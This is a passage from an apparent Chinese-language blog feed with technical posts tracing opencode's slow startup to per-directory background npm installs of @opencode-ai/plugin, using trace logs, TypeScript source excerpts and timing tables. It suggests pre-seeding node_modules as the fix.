02:23:18.537  [TRACE] Npm.install reify reason=no-node_modules           ← ① node_modules 不存在

02:23:18.559  [TRACE] dir done dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode time=105ms     ← 本地操作返回
02:23:18.576  [TRACE] npmSvc.install start dir=&amp;#x2F;agent-config
02:23:18.578  [TRACE] Npm.install dirty-check ... matched → done         ← ②③ 脏检通过

02:23:18.583  [TRACE] ConfigPlugin.load found=1                          ← 发现 wfuzz-agent.ts
02:23:18.586  [TRACE] waitForDeps start plugins=1                        ← 开始等！

02:23:18.653  [TRACE] reify start dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode add=[...]   ← 后台 fiber 开始跑
── 3.2 秒（npm 上找不到版本，超时退出）──
02:23:21.874  [TRACE] waitForDeps done time=3217ms                       ← Fiber.join 返回
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Fiber.join&lt;&#x2F;code&gt; 等的是 npm 超时，不是下载。但阻塞已经发生——3.2 秒的空白窗口，TUI 不渲染。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-ban-shi-ce-1-17-12&quot;&gt;正式版实测（&lt;code&gt;1.17.12&lt;&#x2F;code&gt;）&lt;&#x2F;h1&gt;
&lt;p&gt;这个版本 npm registry 上有，会真正走完下载。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;02:58:28.454  [TRACE] directories count=2 items=[&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode | &amp;#x2F;agent-config]
02:58:28.454  [TRACE] npmSvc.install start dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode
02:58:28.457  [TRACE] Npm.install dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode add=[@opencode-ai&amp;#x2F;plugin@1.17.12]
02:58:28.459  [TRACE] Npm.install reify reason=no-node_modules           ← ① 触发完整下载

02:58:28.559  [TRACE] dir done dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode time=105ms     ← 本地操作返回(lforkDetach)
02:58:28.576  [TRACE] npmSvc.install start dir=&amp;#x2F;agent-config
02:58:28.578  [TRACE] Npm.install dirty-check declared=[@opencode-ai&amp;#x2F;plugin, @types&amp;#x2F;node, typescript]
02:58:28.578  [TRACE]                  locked=[@opencode-ai&amp;#x2F;plugin, @types&amp;#x2F;node, typescript]
02:58:28.578  [TRACE] Npm.install done dir=&amp;#x2F;agent-config reason=deps-satisfied

02:58:28.580  [TRACE] reify start dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode add=[@opencode-ai&amp;#x2F;plugin@1.17.12]
02:58:28.583  [TRACE] ConfigPlugin.load found=1
02:58:28.586  [TRACE] waitForDeps start plugins=1                        ← 开始等！
── 18.5 秒（arborist.reify 下载 27 个包）──
02:58:47.142  [TRACE] reify done time=18562ms                            ← 下载完成
02:58:47.150  [TRACE] waitForDeps done time=18564ms                      ← 解除阻塞
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;完整下载 &lt;strong&gt;18.6 秒&lt;&#x2F;strong&gt;。从 &lt;code&gt;waitForDeps start&lt;&#x2F;code&gt; 到 &lt;code&gt;done&lt;&#x2F;code&gt;，TUI 窗口一片空白。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wan-zheng-lian-lu&quot;&gt;完整链路&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;ConfigPaths.directories()
  │
  ├─ &amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F; ───── 空目录，无 node_modules
  │   npmSvc.install() → Npm.install: ① node_modules 不存在 → reify()
  │   ConfigPlugin.load() → found=0
  │
  ├─ &amp;#x2F;agent-config&amp;#x2F; ────────────── 有完整 node_modules + lock
  │   npmSvc.install() → Npm.install: ② 存在 → ③ 脏检 matched → 跳过
  │   ConfigPlugin.load() → found=1
  │
  ▼
plugin_origins.length = 1
  │
  ▼
waitForDependencies()
  → Effect.forEach(s.deps, Fiber.join)  ← 等所有 fiber
  → &amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode 的 reify fiber 还在跑...
  → arborist.reify(): 下载 @opencode-ai&amp;#x2F;plugin@1.17.12 + 26 个依赖
  → 18.6 秒后完成
  → Fiber.join 全部返回
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每一步对应源码位置和耗时：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;步骤&lt;&#x2F;th&gt;&lt;th&gt;文件:行&lt;&#x2F;th&gt;&lt;th&gt;耗时&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;目录发现&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;paths.ts:23&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&amp;lt;1ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Npm.install 可写检查&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npm.ts:141-144&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&amp;lt;1ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;node_modules 存在检查&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npm.ts:149-150&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;reify（下载依赖）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npm.ts:80-113&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;18,562ms&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;脏检（比对 lock）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npm.ts:161-187&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;2ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ConfigPlugin.load&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;plugin.ts:18-30&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;waitForDependencies&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;config.ts:642-646&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;18,564ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;dui-bi-liang-chong-you-hua-ce-lue-de-xiao-guo&quot;&gt;对比：两种优化策略的效果&lt;&#x2F;h1&gt;
&lt;p&gt;我们把之前的实验数据也放进来对比：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;对 &#x2F;root&#x2F;.config&#x2F;opencode&lt;&#x2F;th&gt;&lt;th&gt;waitForDeps&lt;&#x2F;th&gt;&lt;th&gt;TUI 出现时间&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;原始（无优化）&lt;&#x2F;td&gt;&lt;td&gt;reify 下载 18.6s&lt;&#x2F;td&gt;&lt;td&gt;阻塞 18.6s&lt;&#x2F;td&gt;&lt;td&gt;~19s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;guard 跳过&lt;&#x2F;td&gt;&lt;td&gt;不调用 npmSvc.install&lt;&#x2F;td&gt;&lt;td&gt;0ms&lt;&#x2F;td&gt;&lt;td&gt;~1s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;预置 node_modules&lt;&#x2F;td&gt;&lt;td&gt;脏检 matched → skip&lt;&#x2F;td&gt;&lt;td&gt;0ms&lt;&#x2F;td&gt;&lt;td&gt;~1s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;预置 node_modules 是&lt;strong&gt;工程侧最优解&lt;&#x2F;strong&gt;——不碰源码，只需在容器构建时将 &lt;code&gt;package.json&lt;&#x2F;code&gt; + &lt;code&gt;package-lock.json&lt;&#x2F;code&gt; + &lt;code&gt;node_modules&lt;&#x2F;code&gt; 复制到 &lt;code&gt;directories()&lt;&#x2F;code&gt; 返回的每个目录。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ti-wai-cha-jian-mu-lu-vs-wen-jian&quot;&gt;题外：插件目录 vs 文件&lt;&#x2F;h1&gt;
&lt;p&gt;在验证过程中还有一个发现：open code 的插件&lt;strong&gt;自动发现&lt;&#x2F;strong&gt;只支持单文件，不支持目录。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ConfigPlugin.load()&lt;&#x2F;code&gt; 的 glob 是 &lt;code&gt;{plugin,plugins}&#x2F;*.{ts,js}&lt;&#x2F;code&gt;，不匹配子目录。但加载层 &lt;code&gt;resolvePathPluginTarget()&lt;&#x2F;code&gt; 已经支持目录（找 &lt;code&gt;index.ts&lt;&#x2F;code&gt; 或 &lt;code&gt;package.json&lt;&#x2F;code&gt;）。如果有目录式插件的需求，需要在 &lt;code&gt;opencode.jsonc&lt;&#x2F;code&gt; 中显式配置 &lt;code&gt;&quot;plugin&quot;: [&quot;.&#x2F;plugins&#x2F;my-plugin&quot;]&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h1&gt;
&lt;p&gt;实测数据完整验证了源码分析的每一个推断：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;directories()&lt;&#x2F;code&gt; 返回的每个目录都无条件调用 &lt;code&gt;npmSvc.install()&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;空目录无 &lt;code&gt;node_modules&lt;&#x2F;code&gt; → &lt;code&gt;Npm.install&lt;&#x2F;code&gt; 第 ① 步直接 reify&lt;&#x2F;strong&gt;（后续的脏检根本没机会跑）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;只要有插件被 &lt;code&gt;ConfigPlugin.load&lt;&#x2F;code&gt; 发现 → &lt;code&gt;waitForDependencies&lt;&#x2F;code&gt; 阻塞&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;容器冷启动每次都要付这笔 18 秒的下载开销&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;grep &#x27;\[TRACE\]&#x27; ~&#x2F;.local&#x2F;share&#x2F;opencode&#x2F;log&#x2F;opencode.log&lt;&#x2F;code&gt; 一行命令就能看到完整链路和每步耗时。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode Npm.install 源码分析：为什么每个 .opencode 目录都会触发依赖安装</title>
        <published>2026-07-21T18:30:00+08:00</published>
        <updated>2026-07-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/opencode-npm-install-source-analysis/"/>
        <id>https://vercel.juzhong.asia/2026/07/opencode-npm-install-source-analysis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/opencode-npm-install-source-analysis/">&lt;h1 id=&quot;xian-xiang-hui-gu&quot;&gt;现象回顾&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-plugin-slow-startup&#x2F;&quot;&gt;上一篇&lt;&#x2F;a&gt; 中我们定位到：配置 &lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt; 后 opencode 启动变慢，根因是 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; 的 npm 依赖下载。&lt;&#x2F;p&gt;
&lt;p&gt;但还有一个悬念没解开：&lt;strong&gt;为什么没有插件配置的空目录（如 &lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;&lt;&#x2F;code&gt;）也会触发 npm install？&lt;&#x2F;strong&gt; 以及 &lt;strong&gt;为什么不设 &lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt; 时不会卡，设了就卡？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文通过源码分析给出完整答案。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;he-xin-dai-ma-lu-jing&quot;&gt;核心代码路径&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-mu-lu-fa-xian-configpaths-directories&quot;&gt;1. 目录发现 — &lt;code&gt;ConfigPaths.directories()&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;config&#x2F;paths.ts:23-41&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;export const directories = Effect.fn(&amp;quot;ConfigPaths.directories&amp;quot;)(function* (directory, worktree) {
  const afs = yield* FSUtil.Service
  return unique([
    Global.Path.config,              &amp;#x2F;&amp;#x2F; ① ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F; — 永远存在
    ...(!Flag.OPENCODE_DISABLE_PROJECT_CONFIG
      ? yield* afs.up({              &amp;#x2F;&amp;#x2F; ② 往 cwd 上走的 .opencode&amp;#x2F; 目录
          targets: [&amp;quot;.opencode&amp;quot;],
          start: directory,
          stop: worktree,
        })
      : []),
    ...(yield* afs.up({              &amp;#x2F;&amp;#x2F; ③ ~&amp;#x2F;.opencode&amp;#x2F;
      targets: [&amp;quot;.opencode&amp;quot;],
      start: Global.Path.home,
      stop: Global.Path.home,
    })),
    ...(Flag.OPENCODE_CONFIG_DIR ? [Flag.OPENCODE_CONFIG_DIR] : []),  &amp;#x2F;&amp;#x2F; ④ 设置变量的目录
  ])
})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;四个来源，&lt;code&gt;unique()&lt;&#x2F;code&gt; 去重，返回结果例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;不设 OPENCODE_CONFIG_DIR： [&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode]
设置 OPENCODE_CONFIG_DIR： [&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode, &amp;#x2F;agent-config]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-wu-tiao-jian-an-zhuang-config-ts-zhong-de-bian-li&quot;&gt;2. 无条件安装 — &lt;code&gt;config.ts&lt;&#x2F;code&gt; 中的遍历&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;config&#x2F;config.ts:424-477&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;for (const dir of directories) {
  &amp;#x2F;&amp;#x2F; ... 加载 opencode.json &amp;#x2F; opencode.jsonc ...
  yield* ensureGitignore(dir).pipe(Effect.orDie)

  &amp;#x2F;&amp;#x2F; 对每个目录，forkDetach 一个后台 fiber 安装 @opencode-ai&amp;#x2F;plugin
  const dep = yield* npmSvc
    .install(dir, {
      add: [{ name: &amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;, version: InstallationVersion }],
    })
    .pipe(
      Effect.exit,
      Effect.tap((exit) =&amp;gt;
        Exit.isFailure(exit)
          ? Effect.logWarning(&amp;quot;background dependency install failed&amp;quot;, ...)
          : Effect.void,
      ),
      Effect.forkDetach,   &amp;#x2F;&amp;#x2F; ← 后台执行，不阻塞循环
    )
  deps.push(dep)            &amp;#x2F;&amp;#x2F; ← 收集 fiber 引用

  &amp;#x2F;&amp;#x2F; 扫描本地插件文件
  const list = yield* Effect.promise(() =&amp;gt; ConfigPlugin.load(dir))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;npmSvc.install()&lt;&#x2F;code&gt; 对&lt;strong&gt;每个&lt;&#x2F;strong&gt; &lt;code&gt;directories()&lt;&#x2F;code&gt; 返回的目录都调用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;不做任何前置判断&lt;&#x2F;strong&gt;：不检查目录是否有 &lt;code&gt;opencode.json&lt;&#x2F;code&gt;、也没有检查是否有 &lt;code&gt;plugins&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;forkDetach&lt;&#x2F;code&gt; 确保它在后台运行，当前循环继续&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wei-shen-me-zhi-an-zhuang-opencode-ai-plugin&quot;&gt;为什么只安装 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;config.ts:462&lt;&#x2F;code&gt; 中写死了这个包名：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;add: [{ name: &amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;, version: ... }]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;插件如果还需要其他依赖呢？有两种方式：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;本地文件插件&lt;&#x2F;strong&gt;（&lt;code&gt;plugins&#x2F;*.ts&lt;&#x2F;code&gt;）：把依赖加到目录的 &lt;code&gt;package.json&lt;&#x2F;code&gt; 中。&lt;code&gt;@npmcli&#x2F;arborist&lt;&#x2F;code&gt; 的 &lt;code&gt;reify()&lt;&#x2F;code&gt; 会读取 &lt;code&gt;package.json&lt;&#x2F;code&gt; 的 &lt;code&gt;dependencies&lt;&#x2F;code&gt; 并自动解析传递依赖树——不需要在代码里逐个声明。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;npm 包插件&lt;&#x2F;strong&gt;（&lt;code&gt;opencode.jsonc&lt;&#x2F;code&gt; 中的 &lt;code&gt;&quot;plugin&quot;: [&quot;some-pkg&quot;]&lt;&#x2F;code&gt;）：走 &lt;code&gt;Npm.add()&lt;&#x2F;code&gt; 安装到 &lt;code&gt;~&#x2F;.cache&#x2F;opencode&#x2F;packages&#x2F;&lt;&#x2F;code&gt;，自己的 &lt;code&gt;package.json&lt;&#x2F;code&gt; 声明了什么依赖，arborist 就装什么。&lt;&#x2F;p&gt;
&lt;p&gt;所以 opencode 只负责塞入 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; 这一个入口包，其余依赖由标准 npm 解析链路处理。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ban-ben-suo-ding-ji-zhi&quot;&gt;版本锁定机制&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;config.ts:462-463&lt;&#x2F;code&gt; 控制版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;version: InstallationLocal     &amp;#x2F;&amp;#x2F; 开发版吗？
  ? undefined                  &amp;#x2F;&amp;#x2F; → 不锁定，按 package.json 装
  : InstallationVersion        &amp;#x2F;&amp;#x2F; → 锁定为二进制版本号
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;二进制类型&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;OPENCODE_CHANNEL&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;安装行为&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;开发版（源码编译）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&quot;local&quot;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;version=undefined&lt;&#x2F;code&gt;，npm 按 &lt;code&gt;package.json&lt;&#x2F;code&gt; 中的版本装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;正式版（你的 1.17.12）&lt;&#x2F;td&gt;&lt;td&gt;非 &lt;code&gt;&quot;local&quot;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;version=&quot;1.17.12&quot;&lt;&#x2F;code&gt;，强制要求 &lt;code&gt;@opencode-ai&#x2F;plugin@1.17.12&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;这意味着预置的 &lt;code&gt;node_modules&lt;&#x2F;code&gt; 必须版本精确匹配。&lt;&#x2F;strong&gt; 你的 &lt;code&gt;package.json&lt;&#x2F;code&gt; 写 &lt;code&gt;&quot;1.17.12&quot;&lt;&#x2F;code&gt;、&lt;code&gt;node_modules&lt;&#x2F;code&gt; 里装的也是 &lt;code&gt;1.17.12&lt;&#x2F;code&gt;、二进制要求 &lt;code&gt;1.17.12&lt;&#x2F;code&gt;——三者一致，arborist 跳过。如果装了 &lt;code&gt;1.18&lt;&#x2F;code&gt; 等其他版本，arborist 发现不匹配就会重新下载。&lt;&#x2F;p&gt;
&lt;p&gt;但实际上&lt;strong&gt;脏检只比对包名，不比版本&lt;&#x2F;strong&gt;。&lt;code&gt;npm.ts:188-192&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;for (const name of declared) {
  if (!locked.has(name)) {  &amp;#x2F;&amp;#x2F; 只看名字，不管版本号
    yield* reify({ dir, add })
    return
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这意味着：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;package.json&lt;&#x2F;th&gt;&lt;th&gt;package-lock.json&lt;&#x2F;th&gt;&lt;th&gt;node_modules&lt;&#x2F;th&gt;&lt;th&gt;脏检结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1.18.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;有 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;装了 &lt;code&gt;1.18.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;跳过&lt;&#x2F;strong&gt;（名字匹配）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1.17.12&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;有 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;装了 &lt;code&gt;1.18.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;跳过&lt;&#x2F;strong&gt;（名字匹配，版本不校验）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;不存在&lt;&#x2F;td&gt;&lt;td&gt;没有这个包&lt;&#x2F;td&gt;&lt;td&gt;任意&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;触发 reify&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;脏检的唯一目的是防止&quot;包完全没装过&quot;的极端情况。一旦 &lt;code&gt;reify()&lt;&#x2F;code&gt; 被触发，arborist 会按二进制指定的 &lt;code&gt;InstallationVersion&lt;&#x2F;code&gt; 安装，然后 &lt;code&gt;save: true&lt;&#x2F;code&gt; 写回 &lt;code&gt;package.json&lt;&#x2F;code&gt;——&lt;strong&gt;二进制版本优先级最高&lt;&#x2F;strong&gt;。所以只要 &lt;code&gt;package-lock.json&lt;&#x2F;code&gt; 中锁定过 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt;（任意版本），脏检就能通过；真正强制执行具体版本的是 arborist 的 &lt;code&gt;reify()&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-she-ji-yi-tu&quot;&gt;3. 设计意图&lt;&#x2F;h2&gt;
&lt;p&gt;为什么对一切目录无差别安装？因为 opencode 的 &lt;code&gt;.ts&lt;&#x2F;code&gt; 插件运行时依赖 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;&amp;#x2F;&amp;#x2F; plugins&amp;#x2F;wfuzz-agent.ts
export const WfuzzAgent = async ({ client }) =&amp;gt; {
  &amp;#x2F;&amp;#x2F; client 的类型定义来自 @opencode-ai&amp;#x2F;plugin
  await client.app.log({ ... })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;client&lt;&#x2F;code&gt; 的类型和运行时由 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; npm 包提供。opencode 的假设是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;任何目录都可能随时被放入一个 &lt;code&gt;.ts&lt;&#x2F;code&gt; 插件文件。与其加载时才发现缺依赖，不如提前在所有目录中确保运行时已就绪。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;4-zu-sai-dian-waitfordependencies&quot;&gt;4. 阻塞点 — &lt;code&gt;waitForDependencies()&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;plugin&#x2F;index.ts:190-193&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;const plugins = flags.pure ? [] : (cfg.plugin_origins ?? [])
if (plugins.length) yield* config.waitForDependencies()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;waitForDependencies()&lt;&#x2F;code&gt; 定义在 &lt;code&gt;config.ts:640-643&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;const waitForDependencies = Effect.fn(&amp;quot;Config.waitForDependencies&amp;quot;)(function* () {
  yield* InstanceState.useEffect(state, (s) =&amp;gt;
    Effect.forEach(s.deps, Fiber.join, { concurrency: &amp;quot;unbounded&amp;quot; }),
  )
})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Fiber.join&lt;&#x2F;code&gt; 等待所有 &lt;code&gt;forkDetach&lt;&#x2F;code&gt; 出来的 npm install fiber 完成。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-wei-shen-me-bu-she-bian-liang-bu-qia-she-liao-jiu-qia&quot;&gt;5. 为什么「不设变量不卡，设了就卡」&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;不设 OPENCODE_CONFIG_DIR:
  directories() = [&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode]
  → npm install (forkDetach) → 后台跑到 reify()
  → ConfigPlugin.load() → found=0
  → plugins.length = 0
  → waitForDependencies() 不调用！                    ← 没人等
  → TUI 立即启动，后台下载在无人等待的情况下继续

设 OPENCODE_CONFIG_DIR=&amp;#x2F;agent-config:
  directories() = [&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode, &amp;#x2F;agent-config]
  → npm install (forkDetach) × 2 → 后台跑两个 fiber
  → ConfigPlugin.load() → found=1 (wfuzz-agent.ts)
  → plugins.length = 1
  → waitForDependencies() → Fiber.join 所有 fiber        ← 卡在这里
  → 等到 npm install 完成才启动 TUI
